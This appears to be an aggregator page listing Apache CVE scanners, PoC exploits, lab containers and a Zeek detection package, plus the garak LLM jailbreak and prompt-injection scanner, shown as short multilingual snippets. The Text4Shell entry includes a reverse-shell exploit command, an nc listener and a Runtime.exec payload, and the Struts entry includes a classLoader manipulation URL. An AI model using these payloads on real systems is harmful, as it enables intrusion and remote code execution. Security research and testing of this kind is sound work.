mass_cve-2021-41773

masscve-2021-41773 大规模 CVE-2021-41773 漏洞扫描工具 截图 使用方式！ python3 -m pip install requests pyyhon3 cve-2021-41773.py urlist.txt pool 注意事项！ 结果将自动保存在 vuln.txt 文件中 你可以在以下位置添加一个常见目录：https://github.com/justakazh/masscve-2021-41773/blob/4579bdbbda666b47b40116518d3fc5729574a2f8/cve-2021-41773.pyL49 参考来源...

garak

garak, LLM脆弱性スキャナー Generative AI レッドチーミング＆アセスメントキット garakは、LLMを意図しない方法で失敗させることができるかどうかを確認します。garakは、ハルシネーション、データ漏洩、プロンプトインジェクション、誤情報、有害性の生成、脱獄、その他多くの脆弱性をプローブします。nmapやmsf / Metasploit Frameworkをご存知なら、garakはそれらと似たようなことを行いますが、対象はLLMです。...

CVE-2026-57821-PoC-Exploit

🛡️ CVE-2026-57821 – Apache Fineract SQL 注入 ⚠️ 法律与道德声明 本工具包仅供教育、培训和经授权的安全测试使用 。 未经明确书面许可而对任何系统进行未经授权的使用均属违法 ，并违反计算机犯罪相关法律。 作者对滥用或造成的损害不承担任何责任 。 您须对自己的行为负全部责任。 📋 漏洞概述 CVE-2026-57821 是 Apache Fineract 的办公室列表 API 端点中发现的一个 SQL 注入 漏洞。 🎯 受影响组件 属性| 详情 ---|--- 端点| /api/v1/offices 参数| orderBy 方法| GET 是否需要认证|...

apache__incubator-dubbo_CVE-2021-30181_2-6-8

Apache Dubbo 项目 Apache Dubbo 是一个强大且易用的 Web 和 RPC 框架。它支持多种语言实现，例如 Java、Go、Python、PHP、Erlang、Rust 和 Node.js/Web。 Dubbo 为构建企业级微服务提供通信、服务发现、流量管理、可观测性、安全性、工具化及最佳实践等解决方案。 🚀 我们正在收集用户信息以改进 Dubbo。请在此处帮助我们：谁在使用 Dubbo 🧱 架构 消费者与提供者之间的通信通过 RPC 协议（如 Triple、TCP、REST 等）完成。 消费者从注册中心（例如...

apache__dolphinscheduler_CVE-2023-51770_3-2-00

Apache Dolphinscheduler 概要 Apache DolphinSchedulerは、アジャイルでローコードな高性能ワークフロー開発を実現する最新のデータオーケストレーションプラットフォームです。データパイプラインにおける複雑なタスク依存関係の処理に特化しており、豊富な組み込みジョブタイプをすぐに利用可能 な状態で提供します。 DolphinSchedulerの主な特徴は次のとおりです。 デプロイが容易: Standalone、Cluster、Docker、Kubernetesの4つのデプロイモードを提供します。 使いやすい: Web UI、Python...

ApacheTomcatScanner

一个用于扫描 Apache Tomcat 服务器漏洞的 Python 脚本。 功能特性 多线程工作器，用于搜索 Apache Tomcat 服务器。 支持多种目标源： 通过 LDAP 查询从 Windows 域中检索计算机列表，作为目标列表。 从文件中逐行读取目标。 从 -tt/--target 选项读取单个目标（IP/域名/CIDR）。 从 -tu/--target-url 选项读取单个目标 URL。 自定义要测试的端口列表。 测试 /manager/html 的可访问性。 测试访问 Tomcat Manager 的默认凭据。 使用 --list-cves 选项列出每个版本的 CVE，...

CVE-2020-17519

CVE-2020-17519 Apache Flink RESTful API 任意文件读取 Apache Flink 是一个框架和分布式处理引擎，用于对无界和有界数据流进行有状态计算，使用 Java 和 Scala 开发。Apache Flink 1.11.0 版本引入的一项变更（同样发布在 1.11.1 和 1.11.2 中）允许攻击者通过 JobManager 进程的 RESTful API 读取本地文件系统上的任意文件。对文件系统的访问限于 JobManager 进程可访问的文件。 虽然 1.11.0 - 1.11.2 之间的所有版本都受到该漏洞影响，但 Apache Flink...

CVE-2021-41773

CVE-2021-41773 Playground これは、CVE-2021-41773 に対して脆弱な Apache HTTPd 2.4.49 のインスタンスを備えた Debian bookworm ベースのコンテナをセットアップするための小さな Docker レシピです。 CGI は明示的に有効化されているため、ローカルファイル開示 Local File Disclosure の動作とリモートコード実行 Remote Command Execution の動作の両方をテスト・検証するために使用できます。 使い方 root@kitploit: $ docker-compose buil...

strutt-cve-2014-0114

CVE-2014-0114 - Struts 1 の脆弱性 POST または GET リクエストのパラメータは、フォームを基点として設定されるプロパティとして扱われます。パラメータは入れ子になったオブジェクトへのパスとなる可能性があります。 Apache Struts 1.x は Form Beans 上で getClass を呼び出すよう操作される可能性があります。例えば、フォームのクラスローダーの属性を直接操作できます: https://example.com/?class.classLoader.defaultAssertionStatus=true。 内部的に、Apache...

CVE-2023-50164-ApacheStruts2-Docker

CVE-2023-50164：Apache Struts 2 漏洞 Docker 容器 Apache 最近发布了关于 CVE-2023-50164 的安全公告，这是一个严重等级为 9.8 的关键漏洞，影响 Apache Struts 2。 CVE-2023-50164 与组织的 Apache Struts 架构及其文件上传功能的使用方式密切相关，它允许未经授权的路径遍历，可能被滥用来上传恶意文件并执行远程代码（RCE）。 此仓库包含一个 Dockerfile，用于理解和操作该漏洞。未提供武器化的利用代码。 使用方法 以下是运行该实验环境的命令（可在你的 shell 中复制/粘贴）：...

POC-CVE-2021-42013-EXPLOIT

-ff0055?style=for-the-badge&logo=python root@kitploit: 🔥 CVE-2021-42013 Exploit Framework by Makaveli 💀 Modo Hacker Cósmico Multidimensional activado... Una herramienta avanzada de escaneo, explotación e interacción remota diseñada para detectar y aprovechar la vulnerabilidad Apache Path Traversa...

Simple-CVE-2021-41773-checker

シンプルなCVE-2021-41773チェッカー Bashで作成されたシンプルなスクリプトで、複数のホストをCVE-2021-41773（Apache）についてチェックします。 + Uso: ./CVE-2021-41773.sh hosts.txt...

S2-045-EXP-POC-TOOLS

CNVD-ID CNVD-2017-02474 発行日 2017-03-07 危険レベル 高 AV:N/AC:L/Au:N/C:C/I:C/A:C 影響製品 Apache struts =2.3.5、=2.5、 CVE識別子 CVE-2017-5638 問題 It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn't valid an exception is thrown which is then used to display ...

CVE-2024-27348-HugeGraph-RCE

CVE-2024-27348: Apache HugeGraph RCE（高度なサンドボックス回避） CVE-2024-27348 （Apache HugeGraph Server におけるリモートコード実行）のための高度で信頼性の高い Proof of Concept（PoC）エクスプロイトです。 公開されている多くの PoC はコマンドを盲目的に実行したり、Java の Runtime.exec の制限により複雑なペイロードで失敗したりしますが、本スクリプトは実際のペネトレーションテストシナリオにおける信頼性 を考慮して設計されています。 ⚠️ 免責事項...

CVE-2021-41773

CVE-2021-41773 Apache HTTP Server 2.4.49 CVE-2021-41773 および 2.4.50 CVE-2021-42013 のパストラバーサル/RCE に関する通知を発行する Zeek パッケージ 参照 https://httpd.apache.org/security/vulnerabilities24.htmlCVE-2021-41773 https://httpd.apache.org/security/vulnerabilities24.htmlCVE-2021-42013...

Log4Shell-Vulnerability-Replication

CVE-2021-44228 Log4Shell 脆弱性完全再現記録 本記録は、Vulhub が提供する Apache Solr 8.11.0 のターゲット環境に基づき、Log4j2 JNDI インジェクション脆弱性を完全に再現し、DNSLog およびローカル LDAP リスニングによって脆弱性の存在を確認したものです。 一、実験環境 オペレーティングシステム : Windows 11 + WSL2 Ubuntu コンテナプラットフォーム : Docker Desktop 4.76 ターゲット環境の出典 : Vulhub vulhub/log4j/CVE-2021-44228 対象サービ...

text4shell-exploit

text4shell-exploit Apache Commons Text のバージョン 例 root@kitploit: python3 text4shell.py 127.0.0.1 192.168.1.2 4444 攻撃マシンでリスナーをセットアップしてください: root@kitploit: nc -nlvp 4444 ペイロードロジック スクリプトは以下を注入します: root@kitploit: $script:javascript:java.lang.Runtime.getRuntime.exec... リバースシェルは、POST リクエストを使用して /data...

CVE-2021-41773

CVE-2021-41773 スキャナー このスクリプトは、Apache バージョン 2.4.29 におけるパストラバーサルおよびローカルファイルインクルージョンの脆弱性をテストします。このスクリプトはローカルファイルを返さず、Webサーバーをスキャンして脆弱かどうかを通知するだけです。 使い方: python3 cve-2021-41773-scanner.py IPv4 address...

CVE-2026-56139

camel-undertow Rest DSL muteException スタックトレース開示再現器 CVE-2026-56139 このプロジェクトは、Apache Camel の camel-undertow Rest DSL コンシューマにおける 情報漏洩 の問題を示しています。追跡番号は CVE-2026-56139 です。muteException オプションは、キャッチされなかった処理例外の詳細を HTTP クライアントに返すかどうかを制御します。プレーンな undertow エンドポイントではこのオプションは機能しますが、undertow Rest DSL は...

CVE-2026-42588

CVE-2026-42588 - Apache ActiveMQ Jolokia リモートコード実行脆弱性エクスプロイト 深刻度 : 🔴 高 CVSS 4.0: 8.1 脆弱性タイプ : CWE-94 — コードインジェクション 影響を受けるバージョン : Apache ActiveMQ 必要条件 : Web コンソールの認証情報が必要（デフォルト admin:admin） 📋 目次 脆弱性概要 脆弱性の原理 影響を受けるバージョン 利用条件 ファイルの説明 クイックスタート 詳細な使用方法 攻撃チェーン全体図 エクスプロイト成功の確認 修正方法 一時的な緩和策 FAQ 免責事項 参考リ...